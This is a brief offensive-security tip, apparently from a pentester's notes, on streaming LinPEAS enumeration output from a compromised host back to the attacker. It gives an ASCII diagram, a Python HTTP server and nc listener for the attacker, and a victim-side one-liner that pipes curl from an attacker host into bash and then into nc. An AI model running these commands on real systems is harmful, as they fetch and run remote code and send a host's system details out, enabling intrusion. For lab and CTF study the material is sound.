Linpeas’ output often exceeds the buffer size of the reverse shell you invoke it from. As a result, you often loose the first lines before you could properly analyse it. For this reason, I used to write the output in a file (>) to exfiltrate it before realizing that I could bypass a lot of steps by forwarding the output directly across the network.

_Attacker__              __Victim__
|py       | get linpeas  |         |
|   :8000 |------------->|  curl   |
|         |              |    |    |
|nc       |   stdout     |    v    |
|   :9999 |<-------------|  bash   |
|_________|              |_________|

The general idea is pretty straightforward: pipe linpeas.sh content into a bash session and forward its stdout to a network location. On the attacker side, it involves to

# expose linpeas with a (python) http server
python -m http.server

# Listen to incoming bytes and writes them on a file
nc -l 9999 >> linpeas_output

And on the victim side

curl http://<attacker_ip>:8000/linpeas.sh | bash | nc <attacker_ip> 9999